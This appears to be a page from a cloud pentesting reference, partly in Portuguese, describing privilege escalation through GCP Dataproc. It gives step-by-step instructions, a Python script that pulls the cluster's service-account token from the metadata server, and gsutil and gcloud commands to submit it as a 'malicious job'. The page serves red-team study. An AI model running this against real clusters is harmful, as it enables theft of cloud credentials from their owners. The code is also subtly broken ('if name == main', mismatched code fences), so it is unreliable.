GCP Dataproc Privilege Escalation

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Dataproc

GCP - Dataproc Enum

dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get

Não consegui obter um reverse shell usando este método; no entanto, é possível leak SA token a partir do metadata endpoint usando o método descrito abaixo.

Steps to exploit

  • Coloque o script do job no GCP Bucket

  • Submeta um job para um cluster Dataproc.

  • Use o job para acessar o metadata server.

  • Leak o service account token usado pelo cluster.

Script Python para obter SA token do metadata server ```python import requests

metadata_url = “http://metadata/computeMetadata/v1/instance/service-accounts/default/token” headers = {“Metadata-Flavor”: “Google”}

def fetch_metadata_token(): try: response = requests.get(metadata_url, headers=headers, timeout=5) response.raise_for_status() token = response.json().get(“access_token”, “”) print(f“Leaked Token: {token}“) return token except Exception as e: print(f“Error fetching metadata token: {e}”) return None

if name == “main”: fetch_metadata_token()

</details>

<details><summary>Submeter job malicioso para o cluster Dataproc</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>

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Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

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